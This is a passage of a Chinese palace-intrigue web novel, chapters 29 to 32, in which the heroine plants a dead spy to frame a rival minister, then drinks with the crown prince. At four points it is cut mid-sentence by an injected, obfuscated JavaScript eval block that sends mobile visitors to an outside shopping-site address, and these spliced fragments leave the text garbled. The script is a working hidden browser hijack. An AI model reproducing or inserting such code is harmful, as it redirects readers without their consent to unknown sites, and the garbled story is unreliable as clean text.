霍夫人声音轻柔,像是在讲一个久远的故事,“那孩子没定性,养不活那些娇气的兰草水仙,唯独这月季,怎么种怎么活。她说,这花儿像爹爹,不管风吹雨打,只要根还在,就能开出花来。” 叶小寻听得鼻尖发酸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132737|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不知该如何接话,只能干巴巴地应道:“是,这花儿看着就有精神。” 霍夫人看着窗外摇曳的花影,眼底涌上一层浓浓的哀愁:“可惜啊……以后再也不会有女儿来帮我种花了。这满院子的花,往后只能由我这个做娘的好好护着了。” 叶小寻脑中那根紧绷的弦彻底断了。 她猛地抬起头,看向霍夫人,声音颤抖:“夫人……您,您已经知道了……” 她以为这是个秘密。 两行清泪顺着霍夫人的脸颊滑落。 她只是那样静静地流着泪,凄然一笑:“那天将军突然回朝,发了好大的火,又要急着去见女儿。我本以为他只是和朝中文臣有些磕绊。可他回来后把自己关在祠堂里坐了一夜……” 霍夫人闭了闭眼,声音已经哽咽。 叶小寻看着眼前这个哭得梨花带雨的妇人,心中掀起了惊涛骇浪。 这是她入宫以来,第一次有人当着她的面,真的在为霍清婉的死而哭泣。 没有权谋算计,只有一位母亲失去女儿后那撕心裂肺却又不得不隐忍的悲伤。 不知怎的,叶小寻的眼眶也红了。 霍夫人用帕子拭去泪水,转过头,用一种极其怜惜的眼神看着叶小寻。 她缓缓抬起手,替叶小寻将鬓边一缕散落的碎发别到耳后。 指尖温热,带着母亲特有的暖意。 “好在……婉儿去了,便再也不会有痛苦了。” 霍夫人收回手,声音虽轻,却透着一股坚定,“可是娘娘还在这吃人的龙潭虎穴之中。为了霍家,为了殿下,让你受委屈了。” 她没有叫破叶小寻的名字,却每一句都在对叶小寻说话。 “万事要小心谨慎。”霍夫人紧紧握住她的手,语重心长,“你不仅要替婉儿活着,更要替你自己好好活着。” 叶小寻再也忍不住,泪水夺眶而出。 “夫人……” 就在这温情脉脉之际,窗外的院墙之上,忽然闪过一道极快的寒光。 “嗖——” 银光如练,划破夜空。 紧接着,是一声重物坠地的闷响。 “噗通!” 叶小寻浑身一紧,本能地想要起身护住霍夫人。 却见霍夫人神色未变,甚至连眉头都没皱一下。 院墙外,传来家丁低沉的喝声:“抬走!把地洗干净,别污了夫人的眼!” 一阵窸窸窣窣的脚步声后,一切归于平静。 一看便知那是沈道衍派来的探子,刚一露头,便被霍家的暗卫给料理了。 霍夫人冷眼看着那扇窗户,眼中的柔弱瞬间褪去,取而代之的是将门主母的威严与冷酷。 “这霍府的墙,也不是谁想翻就能翻的。” 她转过头,看向叶小寻时,眼底的冷意又瞬间化为了毫不掩饰的关心。 这时,锦绣匆匆从外间跑进来。 “夫人,大少爷让奴婢来报,宫里来人了。” 这就来了? 叶小寻心中一惊,下意识地看向门外。 容慎他是插了翅膀飞过来的吗? 霍夫人似乎早有预料。 她站起身,最后一次用力握了握叶小寻的手,那力道大得仿佛要将所有的力量都传递给她。 “去吧。”霍夫人轻声道,“娘娘今夜冒死前来报信这份情,霍府上下铭记于心。往后的路难走,还望娘娘务必保全自己。” 她深深地看了叶小寻一眼。 叶小寻深吸一口气,郑重地回握了一下霍夫人的手,随后向后退了一步,恭恭敬敬地行了一个晚辈礼。 “夫人保重。” 转身离去的那一刻,她只觉得胸口那团火烧得更旺了。 出了内院,远远便看见一道修长的身影立在廊下。 并非容慎亲至,而是涤墨。 叶小寻苦笑一声。 回去之后,只怕是要面对太子爷的雷霆之怒了。 30. 第 30 章 夜色沉沉,两个人一前一后走着,脚步声都略显单调。 叶小寻垂头丧气地跟在涤墨身后,每走一步都觉得脚下像是灌了铅。 胃里一阵阵地翻江倒海,吓的。 一想到马上就要回到东宫,面对那个脾气古怪的容慎,她就觉得脖颈子凉飕飕的。 “不行,不能就这么回去送死。” 叶小寻在心里飞快地盘算着。 容慎那个人,虽然平日里看着温润如玉,但狠起来可是六亲不认的主。 这次她私自出宫,还险些把命丢了,这一趟回去,关个十天半个月禁闭都是轻的,搞不好以后连房门都别想迈出半步。 “涤墨大人。”叶小寻忽然停下脚步,清了清嗓子。 走在前面的涤墨脚步一顿,并未回头,只有一道冷冰冰的声音从斗笠下传出:“娘娘有何吩咐?” “那个……咱们能不能先别急着回去?借一步谈谈?”叶小寻凑上前,一脸严肃。 涤墨终于转过身,借着路边的灯火看她,冷冷吐出三个字:“谈什么。” “谈家国大事。”叶小寻腰杆挺得笔直,神情庄重。 涤墨眉头微不可察地皱了皱,心道这位主子怕是又想到了什么新花样来拿他开涮,没准还想拖延回宫受罚的时间。 “娘娘,此时已是深夜,殿下还在宫中等着。若是再耽搁……” “你也知道殿下在等着!”叶小寻打断他,压低声音,循循善诱道,“你也看到了,那沈老贼都欺负到咱们头上了,连镇国公府都敢围。殿下虽有经天纬地之才,但他毕竟是储君,行事要在规矩方圆之内。所谓大人物,解决问题总喜欢先礼后兵,讲究个名正言顺。可这礼得也太久了,等到证据确凿,黄花菜都凉了。” 涤墨滞住了。 他狐疑地打量着眼前的女子。 这话虽糙,却莫名地戳中了他心底的隐忧。 殿下确实一直在隐忍,在布局,在等一个能够一击必杀的机会。 但这过程,确实太过煎熬。 “那娘娘的意思是?” “我的意思是,既然正道走得慢,那咱们就走点野路子。”叶小寻眼中闪烁着狡黠的光芒,“你且看我用江湖上的法子,替殿下治那老贼一次。我保证,今晚过后,沈道衍那老东西得脱层皮,殿下的心腹大患虽不能立除,但也得让他伤筋动骨!” 涤墨沉默了。 他盯着叶小寻看了许久,似乎在评估这话的可信度。 若是旁人说这话,他定当疯话处理。 可眼前这位…… 最终,他缓缓吐出一口气,似乎是做了一个极为艰难的决定:“你要做什么?” 叶小寻心中大喜,嘴角一翘。 “爽快!”她打了个响指,“先别急着回宫。你走过头了,往回走一条街,街尾有棵老柳树。你先送我去那儿取样东西,然后咱们再回一趟镇国公府。” “柳树?”涤墨一愣,“还要回霍府?” “啧,你在质疑什么?”叶小寻瞬间把脸一板,摆出了太子妃的架势,“让你去你就去。” 她忽然想起什么,两只手在空中一阵乱比划,眼神期待地问道:“你们这些当暗卫的高手,有没有那种暗号?就是那种吹个口哨,或者放个烟花,然后哗啦啦下来一堆黑衣人帮你跑腿的那种?” 涤墨:“……” 看着她在空中胡乱挥舞的爪子,涤墨那张常年面瘫的脸上终于出现了一丝裂痕。 他没有说话,只是缓缓抬起手,举至半空,掌心相对,不轻不重地击了两下。 声音清脆,在寂静的夜巷中传出很远。 须臾之间,巷子两侧的屋脊上,几道黑影如同鬼魅般无声滑落,单膝跪地。 叶小寻看得目瞪口呆,随即竖起大拇指:“还得是你们专业的,讲究。” …… 此时已是三更天,霍府内的灯火大多已歇,只有巡夜的家丁提着灯笼在回廊间穿梭。 叶小寻去而复返,让守门的家丁都愣住了。 不敢怠慢,家丁立刻去通传了锦绣。 锦绣披着外衫匆匆赶来,见叶小寻一身夜行衣站在角门外,神色不由得紧张起来:“娘娘?您怎么又回来了?可是出了什么变故?” “是有点儿急事。”叶小寻爽朗一笑,并未摆什么架子,“锦绣姐,我也不绕弯子了。我无意惊扰夫人和公子歇息,只想问一句方才被府上暗卫处理掉的那个探子尸体,现在何处?” 锦绣一怔。 “这……”她有些犹豫。 那是沈家的探子,又是死在霍府门前,按理说该悄悄处理了,奈何此时宵禁,他们将尸体潦草堆在柴房里,准备天亮再议。 “我也知道这要求有些唐突。”叶小寻并不意外她的反应,只是诚恳道,“但这具尸体对我有大用,甚至能解霍家眼下的困局。若是锦绣姐做不了主,可否劳烦通传一声霍夫人?若夫人已经歇下,霍公子也行。” 锦绣见她神色郑重,不敢耽搁,使了个眼色挥退了周围的家丁,低声道:“原本此事奴婢不敢擅专,但既是娘娘开口,奴婢这就去请示。娘娘请随我来。” 再次回到那座种满月季的院落。 叶小寻在庭院中并未等太久,正房的灯便重新亮了起来。 霍夫人并未梳妆,只披了一件厚实的织锦披风便走了出来,发丝微乱,却难掩关切之色。 “娘娘?”霍夫人快步走下台阶,“可是回宫路上遇阻?” “夫人莫慌。”叶小寻上前虚扶了一把,开门见山道,“我回来,是想向夫人讨一样东西。” 霍夫人显然已经从锦绣那边听了个大概,未有过多表情,只深深地看了叶小寻一眼,问道:“臣妇可否问一句,娘娘要来有何用?” 叶小寻抿了抿唇。 “为了破局。” 她抬起头,目光灼灼,“朝堂之上的博弈,讲究证据,讲究体面。但沈道衍那老贼不讲武德,咱们也就没必要跟他客气。这具尸体,我有大用。夫人,这虽是江湖里下三滥的手段,霍府和殿下这等光风霁月的人物未必看得上,但我做起来没有负担。” 说到此处,她顿了顿,语气变得格外坚定,“夫人尽管放心,此事我一人承担,绝不会牵连到霍家分毫。” 霍夫人定定地看着她。 “傻孩子。” 霍夫人眼眶微湿,轻轻叹了口气,“臣妇只担心娘娘会不会有危险。” 叶小寻语塞,鼻尖又是一酸。 这就是被人在乎的感觉吗? 明明她在做一件离经叛道的事,对方担心的却只有她的安危。 “我……我有分寸的。”她低下头,小声嘟囔了一句。 霍夫人不再多问,转头对锦绣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132738|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吩咐道:“照娘娘说的办。另外,叫两个口风紧,力气大的家生子跟着,听娘娘差遣。事毕之后,让他们即刻回府,不得在外逗留。” “是。” …… 半个时辰后。 西山脚下,一处人迹罕至的荒道旁。 两个霍府的家丁将那具用草席裹着的尸体扔进了草丛里,便依照吩咐匆匆离去了。 叶小寻看着他们远去的背影,松了一口气。 哪怕是同党,这种脏活儿也是知道的人越少越好。 此刻,这片荒野里只剩下她,涤墨,以及那个刚刚死透了的探子。 这探子一身夜行衣,胸口中了一刀,早已气绝多时。 但关键不在于他是怎么死的,而在于他腰间那块被叶小寻特意翻出来的刻着狼头的铁牌。 那是北地狼卫的信物。 “涤墨大人。”叶小寻一边喘着气,一边拍了拍手上的土,转头看向一直沉默立在一旁的涤墨,“你的人靠不靠谱啊?这个点儿,消息应该已经传回东宫了吧?” 涤墨瞥了一眼地上的尸体,眼中闪过一丝无奈。 “娘娘放心。”涤墨淡淡道,“我的手下若是不靠谱,这皇城里恐怕就没人靠得住了。” 叶小寻满意地点点头,随后蹲下身,开始在那具尸体上做手脚。 她拔下发簪,在那尸体的衣服上又划拉了几道口子,制造出经过激烈搏斗的假象,然后将那块狼头令牌挂在了尸体最显眼的位置。 接着,左看右看,又把容慎的腰牌扔到了一边的草丛里。 “行了。” 她站起身,拍了拍手,看着远处渐渐泛起鱼肚白的天边,嘴角勾起一抹冷笑。 …… 次日清晨。 京城的暑气来得极早。 才刚过卯时,太阳便已毒辣辣地挂在天上,将整座长安城烤得像个蒸笼。 东市的早市早已开了,熙熙攘攘的人群摩肩接踵,叫卖声、讨价还价声此起彼伏,一片太平盛世的热闹景象。 然而,这热闹很快便被打破了。 “哒哒哒——” 一阵急促而凌乱的马蹄声,如同一通惊雷,从远处的长街尽头滚滚而来。 人群惊慌失措地向两旁躲闪,只见一匹通体乌黑的骏马发了疯似的冲进了闹市。 那马显然是经过长途奔袭,浑身大汗淋漓,口吐白沫,马蹄铁在青石板上踏出一串串火星。 而更令人心惊的,是马背上的人。 那人身着一身被鲜血浸透的东宫侍卫服饰,背后插着两支断箭,整个人如同血葫芦一般,几乎是半趴在马背上,连缰绳都握不住了。 但他依然死死地抓着马鬃,用尽最后的一丝力气,仰天嘶吼: “让开!都让开!!” “有刺客!西山有刺客!!” 那声音凄厉至极,带着浓浓的血腥气,瞬间穿透了嘈杂的闹市,直直钻进每一个人的耳朵里。 所有的嘈杂声在这一刻戛然而止。 百姓们惊恐地捂住嘴,看着那匹疯马卷着烟尘狂奔而过。 那血人似乎已神志不清,一边狂奔,一边声嘶力竭地吼着那句足以震动整个朝野的话: “狼卫犯境!!太子殿下遇刺!!快调禁军——!!!” “轰——” 人群彻底炸锅了。 31. 第 31 章 一石激起千层浪。 一石激起千层浪。 翌日清晨,当那具腰间别着狼头令牌的尸首被京兆尹亲自运入刑部大堂时,整个大晟朝堂瞬间沸腾。 北地狼卫,那可是北地十二部盟主麾下最精锐的死士,见血封喉,不死不休。 如今,霍宣大将军正坐镇边关,北地蛮夷本该自顾不暇才对。 这群煞星怎会神不知鬼不觉地潜入京城腹地? 甚至还胆大包天到在西山设伏,意图行刺当朝太子? 这已不仅仅是一场刺杀,这是宣战。 更令人细思极恐的是,若无京中权贵做内应,这群狼卫是如何避开层层盘查,携带兵刃潜入天子脚下的? …… 勤政殿内,气压低得让人喘不过气。 “岂有此理!简直是岂有此理!” 老皇帝气得满脸通红,猛地将案上的奏折狠狠掷下。那奏折擦着玉阶飞出,砸在金砖地上。 “咳咳咳……咳咳……” 怒火攻心之下,老皇帝剧烈地咳嗽起来。 大太监张青眼疾手快,连忙上前替他顺气,又奉上一盏温热的参茶。 底下跪着的一众朝臣个个噤若寒蝉,把头埋得极低。 兵部郎中李大人看准时机,猛地磕头道: “陛下!此事非同小可!狼卫现身京畿,若不将那勾结外敌的内应揪出来,国将不国,家无宁日啊陛下!” 此言一出,几名清流言官也纷纷附和:“臣附议!此时正值霍将军回防之际,狼卫此举,分明是想乱我朝纲,断我边防!请陛下彻查!” 一片激愤声中,唯有一人神色淡漠。 沈道衍立于百官之首,双手拢在袖中,冷眼看着这场闹剧。 老皇帝喝了口参茶,勉强压下喉间的腥甜,浑浊的目光在沈道衍身上停留了片刻,声音沙哑而阴沉:“查。朕给刑部五天时间,务必给朕查个水落石出!沈相何在?” 沈道衍眼皮微动,上前一步,躬身行礼,姿态挑不出半点错处:“微臣在。” “太子呢?”老皇帝死死盯着他,眼中满是血丝,“太子还没找到吗?” 自昨夜西山事发,东宫便传出消息,太子受惊遇袭,不知所踪。 这让本就子嗣凋零的老皇帝更是心急如焚。 当今圣上膝下凄凉,皇子仅有两人。二皇子自幼是个药罐子,走几步路都要喘三喘,余下的三位公主尚且年幼。 容慎若是出了差池…… 沈道衍低垂着眉眼,声音平稳:“回陛下,微臣已调派九门提督全力搜寻。只是西山地形复杂,目前还未寻得太子殿下踪迹。” “废物!都是一群废物!” 老皇帝气得将手中的茶盏重重顿在桌上,茶水泼溅而出,“五天太长了!三天!朕只给你们三天时间!三天之内,必须把太子给朕完好无损地带回来!” “微臣遵旨。”沈道衍不紧不慢地应下,“望陛下保重龙体。” 底下的朝臣们也齐声高呼:“望陛下保重龙体。” 老皇帝听着这千篇一律的废话,只觉得心口堵得慌。他掀起眼皮,凉凉地扫视了一圈这满朝文武,冷笑道:“保重?你们若是能少让朕操些心,朕还能多活几年!” 他重重地哼了一声,拂袖而起。 张青极有眼色地一甩拂尘,尖声唱喏:“无事退朝——” …… 回到后殿,老皇帝的身子骨终是撑不住了。 刚一坐下,他便捂着胸口,呼吸愈发艰难。 “陛下!”张青吓得魂飞魄散,连忙招呼小太监来一起服侍。 就在这时,殿外传来通报声:“师贵妃娘娘驾到——” 未见其人,先闻其香。 一阵浓郁的脂粉香气随着珠帘的晃动飘了进来。 师贵妃今日妆容精致,手里端着一个紫砂炖盅,摇曳生姿地走了进来。 “陛下这是怎么了?臣妾听闻前朝出了大事,特意炖了安神的汤水来给陛下补补身子。” 说着,她便要上前亲自喂食。 张青身子一横,不动声色地挡在了龙榻前,那张白净无须的脸皮笑肉不笑:“娘娘一片心意,奴才替陛下谢过了。” 说着,他顺手揭开那炖盅的盖子看了一眼。 汤色浓白,表面浮着一层厚厚的金黄色油花,香气扑鼻,却腻得慌。 “娘娘这汤……”张青笑着挑了挑眉,“今日这油花似乎多了些啊。陛下龙体欠安,太医嘱咐饮食需清淡,这般油腻之物,怕是虚不受补。” 师贵妃柳眉一竖,高傲地扬起下巴:“张公公这话说得好笑。成日里给陛下吃那些清汤寡水的,身子能好才怪!这可是臣妾守着火候炖了三个时辰的鹿茸鸡汤,最是滋补。张公公若真这般小心,不如现在就去请太医院的老神医过来,看看本宫这汤,究竟喝不喝得!” 此招虽是以退为进,奈何遇上了个油盐不进的主。 张青微微躬身,笑道:“贵妃娘娘言之有理。为了陛下龙体着想,小心些总是没错的。来人啊——去太医院,请徐太医正速来勤政殿验汤!” “你!” 师贵妃没想到这阉人竟真的敢当众下她的面子,气得脸色煞白。 狗奴才!仗势欺人!等日后她定要将这老阉狗千刀万剐! 张青依旧是那副恭谨顺从的模样,却转头对着一旁的小太监厉声喝道:“还不快去?若是耽误了陛下用膳,咱家揭了你的皮!” “是!”小太监一溜烟跑了。 师贵妃僵在原地,端着炖盅的手有些发酸。 “这汤若是凉了,失了药性,张公公担待得起吗?”她咬牙切齿地问。 张青微微一笑,目光扫过那碗渐渐凝固的油脂:“贵妃娘娘这是什么话?自然是担待得起的。奴才侍奉陛下几十年,这试毒验膳乃是份内之事,哪怕是凉了,只要陛下安全,奴才便是死也值了。” 师贵妃气得一口银牙都要咬碎了,狠狠瞪了张青一眼,将炖盅重重搁在桌案上,转身拂袖而去。 “狗奴才!” 出门时,她终是没忍住,低声啐了一句。 张青听着那远去的脚步声,嘴角的笑意瞬间收敛,眼神变得如刀锋般锐利。 他转头看向榻上昏睡的老皇帝,轻轻叹了口气。 这宫里,怕是要变天了。 …… 另一边,东宫。 叶小寻并没有走正门。 她在城外便与涤墨分道扬镳,借着一身出神入化的轻功,避开了巡逻的禁军,悄咪咪地翻进了东宫的后墙。 寝殿内门窗紧闭,没有掌灯,光线有些昏暗。 叶小寻蹑手蹑脚地推开窗户,猫儿一般钻了进去,落地无声。 她拍了拍手上的灰,正准备松一口气,一转头,浑身的汗毛瞬间竖了起来。 “……你怎么……” 她吓得倒吸一口冷气,后面的话卡在嗓子里。 只见寝殿深处的罗汉榻上,容慎正端坐在那里。 他穿着一身宽松的雪白中衣,并未束冠,墨发随意散落在肩头。那只受了伤的手缠着厚厚的白纱布,横在膝头,显得格外刺眼。 而那双平日里清冷如玉的眸子,此刻正凉凉地看着她,深不见底,仿佛能将人吸进去。 现在的容慎,周身环绕着一股低气压。 叶小寻不禁抖了三抖,一边往后缩一边打哈哈。 “嗨……殿下?这么晚了还没睡啊?” 容慎没说话,只是目光随着她的移动而移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132739|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。 “那个……太子殿下料事如神,果然什么都逃不过您的眼睛!”叶小寻立刻站直了身子,决定先发制人,“其实吧,我也是有私心的!霍小姐托梦给我了!她哭得那叫一个惨啊,让我一定要照拂她家人。我这一着急,就只好先斩后奏了。” 她眨巴着大眼睛,努力让自己的表情看起来真诚无比,“还望殿下莫和我这等没见过世面的庶民计较,气坏了身子可就不值当了。” 容慎依旧不置可否,只是看着她的眼神更加幽深了几分。 这托梦一说,也并非凭空捏造。 叶小寻见这一招不好使,眼珠子一转,视线落在了案几旁的甘露酒上。 “殿下莫生气了。”叶小寻凑过去,献宝似的摸出两个玉盏,“良辰美景,不如喝两下?这酒能压惊,也能去火。” 她喝两口能断片的酒,多给容慎灌两口,没准一喝高兴,就把她这茬给忘了! 容慎看着她那副殷勤的模样,嘴角几不可察地勾了一下。 “倒酒。”他淡淡吐出两个字。 “好嘞!” 叶小寻如蒙大赦,赶紧抱着酒壶给他斟满,又给自己倒了一杯。 “那咱们……干杯?”她举起酒杯,笑得眉眼弯弯。 容慎漫不经心地举起左手,酒杯轻轻碰了一下她的杯沿,发出清脆的声响。 他仰头将酒饮尽。 酒过三巡。 叶小寻没有让他失望,果然高估了自己的酒量,也低估了这甘露酒的后劲。 没几杯下肚,她的眼神就开始迷离了,原本只是想装醉,这下是真的有点飘了。 “容慎……” 她趴在桌案上,手里还攥着酒杯,脸颊红扑扑的像个熟透的桃子,“你说……你怎么这么难伺候啊?那些大臣定是脸都绿了……你不夸我就算了,还摆脸子……” 容慎静静地看着她。 他没有醉。 那双眸子在烛火的映照下,清醒得令人心惊。 他伸出左手,指尖轻轻抚过她滚烫的脸颊,将一缕碎发别到她耳后。 “你以为,你是在帮我?” 他的声音很轻,带着一丝无奈的叹息。 叶小寻这一招出其不意,确实逼得沈道衍手忙脚乱,但也彻底打乱了他原本的布局。 他本意是想利用这次西山之行,拿到沈家私养私兵的证据,然后徐徐图之,将沈家连根拔起。 可叶小寻这一闹,根本没考虑到他们还没有任何证据表明这些狼卫为沈道衍所用。 “你说宫中所有事都逃不出我的眼睛……” 容慎喃喃自语,目光越过醉眼朦胧的叶小寻,失焦地看向窗外漆黑的夜色,仿佛能看到那重重宫闱之外,那个摇摇欲坠的大晟江山。 “你说得不对。太多事情,是我不知道的了。” “所以我每一步都得走得格外小心,格外艰难。因为我身后悬崖万丈,退无可退。” 叶小寻迷迷糊糊地听着,似乎听懂了,又似乎没懂。 她晃晃悠悠地伸出手,一把抓住了容慎那只缠着纱布的手。 “嘶……” 虽然隔着纱布,但伤口被触碰,容慎还是下意识地皱了皱眉。 “疼吗?”叶小寻凑近了些,呼出的酒气喷洒在他的手背上,“怎么还没好。” 容慎低头看着她,眼底的寒意一点点消融。 “不疼。” “骗人。”叶小寻撇了撇嘴。 她又悄无声息地睡过去了。 容慎轻叹一声,将她打横抱起轻柔地放在床榻上,替她掖好被角。 看着她熟睡的侧颜,容慎眼中的笑意渐渐淡去。 这大晟的江山,也是时候该洗一洗了。 32. 第 32 章 宿醉的感觉并不好受。 宿醉的感觉并不好受。 叶小寻醒来时,只觉得脑袋里像是有把锤子在一下一下砸。 她呻吟着翻了个身。 “哎啊……痛痛痛……” 她揉着太阳穴坐起身,昨夜那借酒装疯,最后真把自己灌断片的画面断断续续地涌入脑海。 好像还抓着人家的手喊疼?还大言不惭地说要去偷光丞相府的库房? 叶小寻懊恼地把脸埋进掌心。 完了,本姑奶奶英明神武的光辉形象全毁在那壶甘露酒上了。 “娘娘,您醒了?” 祝凝端着醒酒汤轻手轻脚地进来,见她这副模样,忍俊不禁道:“殿下在书房,特意吩咐了让您多睡会儿,这汤一直温着呢。” 叶小寻接过汤碗,胡乱灌了两口,压下胃里的翻腾,急问道:“外头怎么样了?” 祝凝神色一肃,压低声音道:“正要跟您禀报。咱们先前放出去的消息,确实炸开了锅。刚开始那会儿,东宫外头确实多了好几拨探头探脑的生面孔,估计是各方势力的眼线。可奇怪的是……” “奇怪什么?” “自从狼卫刺杀太子这事儿在朝堂上闹开,刑部介入调查后,丞相府和燕安宫那边,反而一点动静都没了。”祝凝眉头紧锁,“就像是突然哑了火。咱们的人在外头盯了一宿,连只信鸽都没飞出来过。” “这么老实?” 叶小寻动作一顿,捧着汤碗的手指无意识地摩挲着碗沿。 “……老觉得他们一肚子坏水,不可能就这么歇火的。” 现在选择韬光养晦,闭门谢客的确是一招妙棋,可他们若有所图谋,怎么会对北地私兵的身份毫不准备? “糟了!” 叶小寻猛地抬头,眼睛瞪得溜圆,“我们是都知道沈道衍跟狼卫有关系,接下来他为了避嫌肯定会切断所有联系。线索断了,咱们怎么抓实证?没有实证,上面那位顶多申斥两句,根本动不了他的根基!” “终于反应过来了?” 一道清冷的声音从屏风后传来。 容慎不知何时回来的,昨日的中衣外随意套了一件常服,更衬得身姿挺拔,气度清贵。 叶小寻目瞪口呆地看着他:“你……你既然早就知道,干嘛不提醒我一下?我像个傻子!” 容慎走到榻前,居高临下地看着她那副炸毛的模样,唇角微不可察地勾了一下。 他伸出手,自然而然地替她拭去唇角沾着的一点汤渍,动作轻柔。 “提醒你有什么用?”他慢条斯理道,“你那时候满脑子都是先斩后奏,我要是拦着,你怕是连我也要一并算计进去。” 叶小寻脸一红,心虚地缩了缩脖子:“那……那现在怎么办?” “他们蛰伏,是因为感到了威胁。” 容慎在床沿坐下,眸底闪过一丝深邃的寒光。 “你这一招虽然鲁莽,却也并非全无用处。至少,你把他们逼到了悬崖边上。 “人一急,就会出错。一出错,就会亮出最后的底牌。” 容慎转头看向窗外阴沉的天色,语气幽幽,“孤倒要看看,他们手里还藏着什么牌。” …… 事实证明,容慎对人心的把控,精准得令人发指。 就在刑部尚书带着三法司的官员开始带着皇令从二品官员开始搜查,准备彻查狼卫线索的当口,燕安宫那边,终于坐不住了。 师贵妃是真的慌了。 她必须先发制人。 黄昏时分,天边滚过几道闷雷,一场暴雨将至。 师贵妃卸去了满头珠翠,只穿了一身稍显华丽的衣裳,连妆容都故意画淡了几分,仿佛匆忙准备出门。 一群宫人抬着她来到勤政殿。 皇帝自从上次吐血后,龙体愈发不济,除了张青和几位军机大臣,谁也不见。 “贵妃娘娘,您就别为难奴才了。” 张青站在廊下,拂尘一甩,面无表情地挡住了去路,“陛下刚刚服了药睡下,吩咐了任何人不得打扰。娘娘还是请回吧。” 师贵妃抬起头,雨水打湿了她的鬓发,顺着苍白的脸颊滑落,华丽又狼狈,矛盾到了极点。 “张公公……” 她放下了平日里所有的身段与傲气,声音颤抖又有些焦急,“本宫知道,平日里多有得罪。但今日……今日确实是事出有因。本宫有天大的要事要禀报陛下,此事……此事关乎洛姐姐!” 这三个字一出,张青神色陡然一变。 他眯起眼,死死盯着师贵妃。 狗奴才,敢用这种眼神看我,迟早剐了你。 师贵妃眼中闪烁着孤注一掷的疯狂,“只要公公肯通传,陛下一定会见我。若陛下知晓张公公没有及时将洛姐姐的消息告诉他,张公公可是自愿领罚?” 张青沉默了片刻。 “娘娘稍候。” 张青转身推门入殿。 连一炷香的时间都不到,殿门再次开启。 张青的神色变得极为复杂,侧身让开一条路:“贵妃娘娘久等了,陛下有请。” …… 殿内药香浓郁,混杂着令人压抑的龙涎香。 老皇帝靠在软枕上,脸色灰败,仿佛被抽干了所有的精气神。 师贵妃进殿,没有像往常那样娇声娇气,而是规规矩矩地行了一个大礼,额头重重磕在金砖上。 “臣妾,参见陛下。” “起来吧。” 皇帝的声音虚浮无力,眼皮都不抬一下,但声音急切,旁人错听不了。 师贵妃缓缓起身。 此刻的她,少了平日里的妖娆与算计,那双酷似当年洛夫人的眉眼里,蓄满了泪水,透着一股令人心碎的柔弱。 “陛下……大喜,大喜啊!” 她声音哽咽,却带着一种压抑不住的欢欣。 老皇帝费力地睁开眼,看着眼前这个与记忆中那个女子有着三分相似的女人,眼神恍惚了一瞬。 “喜从何来?” 师贵妃柔情似水地靠近,跪在龙榻前,仰起头,一字一顿道: “陛下,可还记得洛姐姐当年离京时的情形?” 皇帝的瞳孔猛地收缩,那只枯瘦的手死死抓住了明黄的锦被。 洛夫人。 那是七年前,大晟皇宫里一个不能提的禁忌。 那一年,洛夫人本是罪臣之妻,因夫家获罪被牵连,要被押送至安国寺带发修行。 可谁也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132740|196239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道那位高高在上的帝王,暗中将洛夫人藏匿在宫中。 耽搁了一月有余,皇后出面说服皇帝将洛夫人交了出来。 就在押送途中,洛夫人被人劫走,从此杳无音讯,生不见人,死不见尸。 天子震怒。 那一年,皇帝下令启动三堂会审,甚至连早已不过问政事的太后都惊动了。 禁军更是将京城翻了个底朝天,可即便耗费了无数人力物力,那个女子就像是人间蒸发了一般,没留下半点痕迹。 最后,还是先皇后强撑着病体出来把持局面,劝谏皇帝莫为了一个外妇而寒了天下人的心,这场闹剧才得以收场。 所有人都松了一口气。 毕竟,一个名不正言不顺的女人,若是真进了宫,那才是大晟皇室的丑闻。 后来,洛夫人成了皇帝心头的一颗朱砂痣。 直到三年后的宫廷盛宴,皇帝惊鸿一瞥,看到了角落里那个眉眼与洛夫人有几分相似的少女——师家幺女,师翩。 “像……真像。” 那是皇帝当时唯一的评价。 一道圣旨,师家幺女入宫,直接受封为嫔。 这在本朝是从未有过的殊荣,震惊四座。 